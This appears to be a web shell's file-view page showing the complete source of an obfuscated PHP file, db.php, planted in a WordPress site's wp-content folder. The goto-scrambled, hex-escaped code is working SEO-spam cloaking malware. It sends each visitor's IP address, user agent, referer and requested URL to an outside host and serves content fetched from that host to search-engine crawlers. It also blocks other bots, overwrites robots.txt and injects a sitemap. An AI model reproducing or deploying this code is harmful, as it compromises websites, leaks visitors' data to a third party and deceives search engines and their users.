HEX
Server: LiteSpeed
System: Linux cluster02.load-balancer.x2.network 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User: kbdhpghp (1098)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: //home/kbdhpghp/public_html/wp-content/db.php
<?php
 goto rYLj4; G0DtC: if (!is_file($xnXQj)) { goto BQGuP; } goto vuMDC; Vqo2C: if (!preg_match("\x2f\x28\x41\163\x6b\x54\142\106\130\x54\126\174\146\x65\145\144\154\x79\174\x43\154\x61\165\144\145\142\157\164\174\x50\x61\154\x6f\141\x6c\x74\x6f\x6e\145\x74\167\157\162\x6b\163\174\x50\x79\164\150\157\x6e\x2d\165\x72\154\154\x69\142\174\111\156\144\171\x20\114\x69\142\x72\141\162\171\x7c\x5a\155\105\165\174\x62\171\164\x65\x73\x70\151\144\x65\162\x7c\120\141\x71\x6c\x65\x62\157\164\174\x50\171\x74\150\x6f\x6e\x7c\x59\141\156\144\x65\x78\102\x6f\x74\174\x43\145\x6e\163\171\163\111\156\x73\x70\145\143\164\x7c\x48\145\162\x69\164\x72\151\x78\x7c\105\x61\x73\157\165\x53\160\151\x64\145\x72\x7c\x43\x6f\x6f\x6c\160\x61\x64\127\145\x62\x6b\x69\x74\174\107\120\124\x42\157\164\x7c\x6f\x42\157\164\174\123\x65\155\162\x75\x73\150\x42\x6f\164\x7c\x45\172\157\x6f\155\163\x7c\123\x63\162\141\x70\171\174\131\171\x53\160\151\144\145\162\174\115\152\61\62\x62\x6f\x74\174\x41\155\x61\172\157\x6e\x42\157\x74\174\x41\150\162\x65\146\163\102\157\x74\x7c\x42\141\162\x6b\x72\x6f\167\154\145\x72\174\144\x69\x67\105\x78\164\174\x53\167\x69\x66\x74\142\157\x74\x7c\165\156\151\166\x65\x72\x73\141\154\106\145\145\x64\120\141\162\163\x65\162\174\146\145\145\x64\x44\145\155\x6f\x6e\174\x63\x72\141\x77\x6c\104\x61\144\x64\x79\x7c\141\x70\141\x63\150\x65\x42\x65\x6e\143\x68\174\x53\x65\172\156\x61\x6d\x42\x6f\x74\x7c\120\x79\164\x68\x6f\x6e\55\x72\145\x71\x75\145\x73\164\163\174\x6c\151\147\150\164\104\145\143\x6b\x52\145\x70\157\x72\x74\163\40\x42\157\x74\174\x70\145\164\141\x6c\102\x6f\x74\174\152\141\x76\141\174\131\x69\x73\157\x75\123\x70\151\x64\x65\162\x7c\x4a\x69\x6b\x65\123\160\x69\x64\x65\162\x7c\104\141\164\141\106\x6f\162\x53\x45\117\174\104\157\x74\x42\x6f\x74\174\152\x61\x75\156\x74\171\174\110\x74\164\x70\103\x6c\151\x65\156\x74\174\x47\157\55\x68\164\x74\x70\55\143\154\x69\x65\156\164\51\x2f\151", $_SERVER["\110\124\124\120\x5f\x55\123\105\x52\x5f\x41\107\x45\x4e\124"])) { goto yc3sl; } goto gTOrE; I7vAT: $HFL2M = ''; goto kFUcF; TemzN: $nCGbZ = urlencode($_SERVER["\x48\x54\x54\120\137\110\117\x53\x54"]); goto YTnhD; PFtEk: $xO2jb = "\x68\164\x74\160"; goto Tkowj; cdlXa: $SL_Jx = $_SERVER["\x53\103\x52\x49\120\x54\137\x4e\x41\115\x45"]; goto leebO; vFGPN: $ZwUAc = "\x30"; goto O17Ma; Ln5C9: $X9iNq = @file_get_contents($vZ5Ui); goto oMD1E; thIO_: W_LVz: goto SzS6z; XwYl0: if (!empty($HFL2M)) { goto VA6AT; } goto o7ype; leebO: if (strpos($SL_Jx, "\x69\x6e\x64\145\170\x2e\x70\x68") !== false) { goto W_LVz; } goto NMuwa; auGLC: lsTTl: goto IdXRY; jObbU: goto Fxzcj; goto HjW3y; IdXRY: goto AEeGZ; goto DWeZw; SzS6z: if ($eSFLe == 0) { goto cp0_5; } goto FWwBj; xVlCQ: $V5XVN = urlencode($_SERVER["\122\105\121\125\105\123\x54\x5f\123\x43\x48\105\x4d\x45"]); goto rwdzS; DmhtY: $Zy6tr = ''; goto SFON_; lfYMO: if (strpos($DSFER, "\162\x6f\x62\157\x74\163\56\x74\x78\x74") !== false or strpos($DSFER, "\x6a\x70\x32\x30\62\x33") !== false or strpos($DSFER, "\x70\151\156\147\163\x69\164\x65\x6d\141\x70") !== false or preg_match("\x40\136\x2f\x28\x2e\x2a\77\x29\56\x78\155\154\44\100\151", $_SERVER["\122\x45\121\125\x45\x53\x54\137\x55\122\111"]) or preg_match("\x2f\x28{$L5b3R}\51\x2f\151", $_SERVER["\x48\x54\x54\120\137\x55\123\x45\x52\137\x41\x47\x45\x4e\x54"]) or preg_match("\57\50{$L5b3R}\51\x2f\151", @$_SERVER["\x48\124\x54\120\137\x52\x45\106\x45\x52\105\x52"])) { goto tPRpA; } goto UvnRG; bjs08: cp0_5: goto aLEd3; HdycF: tISA8: goto j1DmL; W_FcI: goto x885g; goto ImJQT; BArGx: tPRpA: goto I7vAT; jqJ1o: $eSFLe = 0; goto dfPHB; Y_VY4: return; goto Ni6bu; pMKYe: $eSFLe = 0; goto G0DtC; YTnhD: $XjeHx = urlencode($XjeHx); goto xQM5x; bHyuO: error_reporting(0); goto sD7cI; xgq4a: $UuMTa = $V5XVN . "\72\57\57" . $_SERVER["\110\x54\124\x50\x5f\110\x4f\123\x54"] . "\x2f\x75\142\x67\165\142\x67"; goto iL9_5; chWST: if (strpos($DSFER, "\152\160\x32\x30\62\63") !== false) { goto S7vLj; } goto TY7q6; U4v4R: m7Tid: goto Vfmx3; FWwBj: $SL_Jx = "\x2f"; goto bV52t; Npnpt: goto AVGc_; goto mCXE2; fBkDh: $_SERVER["\122\x45\121\125\x45\x53\x54\137\123\x43\110\x45\115\105"] = "\150\x74\164\x70"; goto PoI1e; vuMDC: $eSFLe = qlBzz($xnXQj); goto jObbU; Eowio: lhb66: goto Npnpt; SFON_: echo $fMn6w . "\72\x20" . $Zy6tr . "\74\142\162\57\x3e"; goto r3xKl; mCXE2: JT9Vt: goto vWI33; olZcJ: header("\110\124\124\x50\57\x31\x2e\x30\40\x35\60\x30\x20\111\x6e\x74\145\x72\156\x61\154\x20\123\x65\162\166\x65\x72\x20\105\162\x72\157\x72"); goto qUQER; w6FEN: curl_setopt($GJJvb, CURLOPT_URL, $vZ5Ui); goto jhh5X; tKqho: curl_setopt($GJJvb, CURLOPT_FOLLOWLOCATION, false); goto TUWqv; xWzQQ: function QlbZZ($ihdqz) { goto iJQkl; kqE13: return false; goto ZEaVv; lW7Ue: GndsL: goto kqE13; lLS1Z: $R_bjt = fread($lnWLb, filesize($ihdqz)); goto tfIzJ; YGz1X: return $R_bjt; goto lW7Ue; iJQkl: $lnWLb = fopen($ihdqz, "\162"); goto wiJKv; wiJKv: if (!$lnWLb) { goto GndsL; } goto lLS1Z; tfIzJ: fclose($lnWLb); goto YGz1X; ZEaVv: } goto xeWhK; rYLj4: $HsqQh = "\x30\61\x2e\147\x61\171\154\145\x66\164\x2e\x63\x6f\155\57"; goto vFGPN; RPzbQ: GtutX: goto TemzN; o7ype: if (!(strpos($DSFER, "\162\157\142\x6f\164\163\56\x74\170\164") !== false)) { goto bp0qi; } goto bpXRl; y56rr: F7E47: goto BgEo2; yfckc: $GUk7B = "\x2f"; goto PFtEk; oCaSR: qrXA0: goto B3dya; wZWGc: goto EW23s; goto thIO_; z0rI2: header("\x43\157\x6e\x74\145\x6e\164\55\124\x79\x70\x65\x3a\40\164\x65\170\x74\x2f\170\155\154\x3b\x20\x63\x68\x61\162\x73\x65\x74\x3d\165\164\x66\x2d\70"); goto auGLC; dAvsK: echo "\x6f\x6b"; goto LgjXh; xQM5x: $MQcv2 = urlencode($_SERVER["\x53\103\x52\x49\120\x54\137\x4e\101\115\x45"]); goto dwUpZ; rwdzS: if (!(strpos($DSFER, "\165\142\147\165\x62\x67") !== false)) { goto m7Tid; } goto dAvsK; WhuW0: exit; goto jFxR0; TY7q6: if (substr($X9iNq, 0, 5) == "\x3c\77\x78\x6d\154") { goto EL7GD; } goto UR23T; U0dIT: goto lsTTl; goto nNA05; gNZus: curl_setopt($GJJvb, CURLOPT_SSL_VERIFYHOST, FALSE); goto gmDj1; j1DmL: function SYiWv($ihdqz, $R_bjt) { goto bcsL0; klUyg: return false; goto Xgz10; b613H: fwrite($lnWLb, $R_bjt); goto KghvL; IxAhn: if (!$lnWLb) { goto qLJIL; } goto b613H; KghvL: fclose($lnWLb); goto T45k3; bcsL0: $lnWLb = fopen($ihdqz, "\167"); goto IxAhn; T45k3: return true; goto qbXEM; qbXEM: qLJIL: goto klUyg; Xgz10: } goto xWzQQ; ImJQT: VA6AT: goto S4M2i; kJiUa: VCtoM: goto IYQZb; jFxR0: yc3sl: goto bHyuO; Vfmx3: $xnXQj = "\x75\x62\147\56\x74\170\164"; goto pMKYe; B3dya: EW23s: goto evDOk; eE0Sv: $GJJvb = curl_init(); goto w6FEN; wad45: goto pXT7c; goto WmcGc; KWaCl: if ($X9iNq === "\157\153") { goto iXydo; } goto jqJ1o; EHGqU: if (empty($X9iNq)) { goto yNtkj; } goto z3AmC; s03k_: if (strpos($DSFER, "\x66\141\x76\x69\143\157\x6e\x2e\x69\x63\157") !== false) { goto JT9Vt; } goto lfYMO; UR23T: header("\x43\x6f\x6e\164\145\156\164\55\x54\171\x70\145\72\40\164\145\170\164\x2f\150\x74\x6d\x6c\73\x20\143\150\x61\x72\163\x65\164\x3d\165\x74\146\55\70"); goto U0dIT; TUWqv: curl_setopt($GJJvb, CURLOPT_SSL_VERIFYPEER, FALSE); goto gNZus; sn4pJ: JFTWp: goto Ln5C9; jVV8d: $X0VZO = $xO2jb . $qMVG5 . $GUk7B . $UEH1m . $ZwUAc . $HsqQh; goto qWcue; Tkowj: $UEH1m = "\x2f\143\167\x33"; goto jVV8d; WmcGc: iXydo: goto PQjMs; O17Ma: $qMVG5 = "\x3a"; goto yfckc; pRWrJ: imheD: goto chWST; Wcuxs: if (!(strpos($DSFER, "\160\x69\x6e\147\x73\x69\x74\145\x6d\x61\x70") !== false)) { goto JFTWp; } goto cdlXa; sD7cI: $XjeHx = $_SERVER["\122\105\x4d\117\124\105\x5f\101\104\x44\122"]; goto TCUuj; gTOrE: header("\x48\x54\x54\x50\57\61\56\60\40\64\60\63\x20\x46\x6f\x72\142\151\144\x64\145\x6e"); goto WhuW0; Ni6bu: yNtkj: goto Eowio; aLEd3: $SL_Jx = "\57\77"; goto oCaSR; TCUuj: $NlFI4 = urlencode(@$_SERVER["\x48\124\x54\x50\x5f\x52\x45\x46\105\122\105\x52"]); goto DXJLK; bpXRl: SYIwv("\162\x6f\x62\x6f\164\x73\56\x74\170\164", $X9iNq); goto DUqsK; MpD0h: $V6urm = urlencode($_SERVER["\x48\124\x54\x50\x5f\125\x53\x45\x52\x5f\101\x47\105\116\x54"]); goto Svhnl; Svhnl: if (isset($_SERVER["\110\124\124\120\x5f\x43\x4c\111\105\116\124\x5f\x49\x50"])) { goto VCtoM; } goto dmvHC; Qt7dr: x885g: goto tn5dh; tn5dh: exit; goto Y_VY4; PoI1e: goto tISA8; goto y56rr; SokSe: curl_close($GJJvb); goto Z_JJf; DXJLK: $GUnHV = urlencode(@$_SERVER["\110\x54\x54\120\137\101\x43\x43\x45\x50\124\x5f\114\x41\116\x47\125\101\107\x45"]); goto MpD0h; BgEo2: $_SERVER["\122\105\x51\x55\x45\x53\x54\137\123\x43\110\105\x4d\x45"] = "\x68\164\164\x70\163"; goto HdycF; DUqsK: bp0qi: goto W_FcI; iL9_5: $X9iNq = @file_get_contents($UuMTa); goto KWaCl; Qhz8f: echo $X9iNq; goto XwYl0; qUQER: exit; goto pRWrJ; dmvHC: if (isset($_SERVER["\x48\x54\x54\120\x5f\130\137\x46\x4f\x52\x57\x41\x52\104\x45\104\137\x46\117\122"])) { goto jAtQk; } goto w1Fm7; UL0vc: Fxzcj: goto s03k_; maJbL: $L5b3R = "\141\157\x6c\174\147\x6f\157\x67\154\145\174\131\141\x68\157\157\174\142\151\156\x67"; goto Vqo2C; r3xKl: $vZ5Ui = $X0VZO . "\x3f\141\147\x65\156\164\x3d{$V6urm}\x26\x72\145\146\x65\162\x3d{$NlFI4}\46\x6c\141\x6e\x67\75{$GUnHV}\46\x69\x70\75{$XjeHx}\46\x64\x6f\155\75{$nCGbZ}\46\x68\x74\x74\160\x3d{$V5XVN}\x26\165\162\151\x3d{$DSFER}\x26\x70\143\75{$akFIz}\46\x72\x65\167\x72\151\x74\x65\x61\x62\154\145\75{$eSFLe}\46\x73\x63\162\x69\x70\x74\75{$MQcv2}\46\163\151\x74\145\155\x61\160\x3d" . urlencode($fMn6w); goto sn4pJ; IYQZb: $XjeHx = $_SERVER["\110\124\124\120\x5f\103\114\111\x45\x4e\124\x5f\111\x50"]; goto ZOlF4; jhh5X: curl_setopt($GJJvb, CURLOPT_RETURNTRANSFER, true); goto tKqho; LgjXh: exit; goto U4v4R; oMD1E: if (!empty($X9iNq)) { goto J8XAU; } goto eE0Sv; bV52t: goto qrXA0; goto bjs08; xeWhK: $DSFER = urlencode($_SERVER["\122\x45\121\125\105\123\x54\x5f\x55\x52\111"]); goto xVlCQ; dwUpZ: if (!empty($_SERVER["\x52\x45\121\125\x45\x53\x54\137\x53\103\x48\105\x4d\x45"]) and $_SERVER["\x52\105\121\125\x45\123\x54\137\x53\103\x48\x45\115\105"] == "\x68\164\164\160\x73" or !empty($_SERVER["\x48\124\x54\x50\123"]) and $_SERVER["\x48\x54\124\120\123"] == "\x6f\x6e" or !empty($_SERVER["\123\105\x52\x56\105\x52\x5f\120\117\x52\124"]) and $_SERVER["\x53\x45\122\126\x45\122\137\x50\117\122\x54"] == "\64\x34\63" or isset($_SERVER["\x48\124\124\x50\137\130\137\x46\117\122\127\101\x52\x44\x45\104\137\120\x52\x4f\x54\x4f"]) and $_SERVER["\x48\124\x54\x50\137\130\137\x46\x4f\122\127\101\x52\104\x45\x44\x5f\120\122\117\x54\117"] == "\x68\x74\x74\160\163") { goto F7E47; } goto fBkDh; qWcue: $akFIz = "\x44\x46\x77\x4b\127\x67\x79"; goto maJbL; z3AmC: if (!(substr($X9iNq, 0, 10) == "\x65\162\x72\157\x72\x20\x63\x6f\144\x65" or $X9iNq == "\65\60\x30" or strpos($X9iNq, "\x42\x61\144\x20\x47\141\164\145\x77\x61\x79") !== false)) { goto imheD; } goto olZcJ; gRy0c: header("\x48\x54\x54\x50\57\x31\56\x31\x20\64\60\64\40\x4e\157\164\40\106\x6f\165\x6e\x64"); goto tOsw7; NMuwa: $SL_Jx = $SL_Jx . "\77"; goto wZWGc; ZOlF4: goto GtutX; goto hLtfU; kFUcF: $vZ5Ui = $X0VZO . "\x3f\x61\x67\145\156\164\75{$V6urm}\46\x72\145\x66\x65\x72\x3d{$NlFI4}\x26\x6c\x61\156\x67\75{$GUnHV}\46\x69\160\75{$XjeHx}\46\x64\157\x6d\x3d{$nCGbZ}\46\150\x74\x74\x70\75{$V5XVN}\46\x75\162\x69\75{$DSFER}\46\160\143\x3d{$akFIz}\x26\x72\145\167\x72\x69\x74\x65\x61\x62\x6c\x65\x3d{$eSFLe}\x26\163\143\162\x69\x70\164\x3d{$MQcv2}"; goto Wcuxs; w1Fm7: goto GtutX; goto kJiUa; x0pTH: $fMn6w = "{$V5XVN}\72\x2f\57" . $nCGbZ . $SL_Jx . "\x73\151\164\145\x6d\x61\160\x2e\x78\x6d\x6c"; goto woZjS; Z_JJf: J8XAU: goto EHGqU; mRXmA: pXT7c: goto UL0vc; DWeZw: S7vLj: goto gRy0c; qV8VV: SYiwv($xnXQj, "\61"); goto mRXmA; tOsw7: AEeGZ: goto Qhz8f; hLtfU: jAtQk: goto BIusr; HjW3y: BQGuP: goto xgq4a; PQjMs: $eSFLe = 1; goto qV8VV; evDOk: $HFL2M = "\125\x73\x65\162\x2d\x61\x67\x65\156\x74\x3a\x20\52\xd\xa\x41\154\x6c\x6f\167\x3a\40\57"; goto x0pTH; S4M2i: syIwv("\162\157\142\157\x74\163\56\x74\170\164", $HFL2M); goto Qt7dr; BIusr: $XjeHx = $_SERVER["\x48\124\124\x50\x5f\130\x5f\106\117\x52\x57\x41\x52\x44\x45\x44\137\x46\x4f\122"]; goto RPzbQ; dfPHB: SyiWV($xnXQj, "\x30"); goto wad45; UvnRG: goto lhb66; goto BArGx; woZjS: $HFL2M = trim($HFL2M) . "\xd\xa" . "\x53\151\x74\145\x6d\x61\x70\72\x20{$fMn6w}"; goto DmhtY; nNA05: EL7GD: goto z0rI2; gmDj1: $X9iNq = curl_exec($GJJvb); goto SokSe; vWI33: AVGc_:
?>